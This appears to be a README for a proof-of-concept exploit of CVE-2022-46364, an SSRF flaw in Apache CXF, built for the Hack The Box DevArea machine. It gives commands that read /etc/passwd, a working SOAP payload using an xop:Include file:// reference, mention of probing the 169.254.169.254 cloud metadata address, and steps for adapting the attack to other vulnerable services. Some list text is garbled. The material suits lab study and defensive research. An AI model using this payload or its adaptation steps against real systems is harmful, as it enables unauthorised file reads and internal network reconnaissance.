
Proof-of-concept exploit for CVE-2022-46364, an Apache CXF SSRF vulnerability enabling arbitrary file reads and internal network probing via crafted MTOM/XOP SOAP requests.
Proof-of-Concept exploit for CVE-2022-46364 — an Apache CXF server-side request forgery (SSRF) vulnerability in MTOM/XOP request processing.
CVE-2022-46364 affects Apache CXF versions before 3.4.10 and 3.5.5. When MTOM (Message Transmission Optimization Mechanism) is enabled on a SOAP service, the CXF unmarshaller incorrectly validates the href attribute inside <xop:Include> elements. Instead of restricting href to cid: URIs (as required by the W3C XOP specification), CXF dereferences arbitrary URIs — including file://, http://, and https://.
This allows an unauthenticated attacker to:
file:///etc/passwd)http://169.254.169.254/)This PoC was written and tested against the Hack The Box machine:
Target endpoint: http://devarea.htb:8080/employeeservice
But small changes in XML payload according to target WSDL, make it adaptable to target environment.
Default Url is http://devarea.htb:8080/employeeservice.
python3 CVE-2022-46364.py --file /etc/passwd
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
python3 CVE-2022-46364.py --file /etc/passwd --verbose
Important: This script is hardcoded for the HTB DevArea WSDL structure. To use it against another vulnerable Apache CXF service, you must modify the SOAP payload inside
build_payload()to match the target's WSDL contract.
Fetch the WSDL from the target:
curl http://target:8080/employeeservice?wsdl
Identify the service details:
targetNamespace (e.g. http://devarea.htb/)submitReport)<arg0> with nested <content>)Modify the payload in build_payload():
xmlns:dev="...")<dev:submitReport>)<arg0>)<xop:Include href="file://{filepath}"/> inside a field that the server will process as an attachmentGiven this WSDL snippet:
<wsdl:definitions targetNamespace="http://example.com/">
<wsdl:operation name="uploadDocument">
<wsdl:input message="tns:uploadDocument"/>
</wsdl:operation>
</wsdl:definitions>
Your payload should become:
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
<soapenv:Body>
<ex:uploadDocument>
<document>
<xop:Include href="file:///etc/passwd"/>
</document>
</ex:uploadDocument>
</soapenv:Body>
</soapenv:Envelope>
multipart/related HTTP request with Content-Type: application/xop+xml.<xop:Include href="file:///etc/passwd"/> element is placed.file:// URI.<return> element.Content: and decodes it.This tool is intended for authorized security testing and educational purposes only. Always obtain explicit permission before testing systems you do not own. The author is not responsible for any misuse or damage caused by this script.
MIT License — feel free to use, modify, and share with proper attribution.
Update --url when running the script.
| Resource | Link |
|---|
| Apache CXF Advisory | CVE-2022-46364 |
| NVD Entry | NVD — CVE-2022-46364 |
| Apache Jira (CXF-8706) | CXF-8706 |
| W3C XOP Specification | XML-binary Optimized Packaging |
| Penligent Deep Dive | CVE-2022-46364 PoC in Practice |
| HTB DevArea | Hack The Box — DevArea |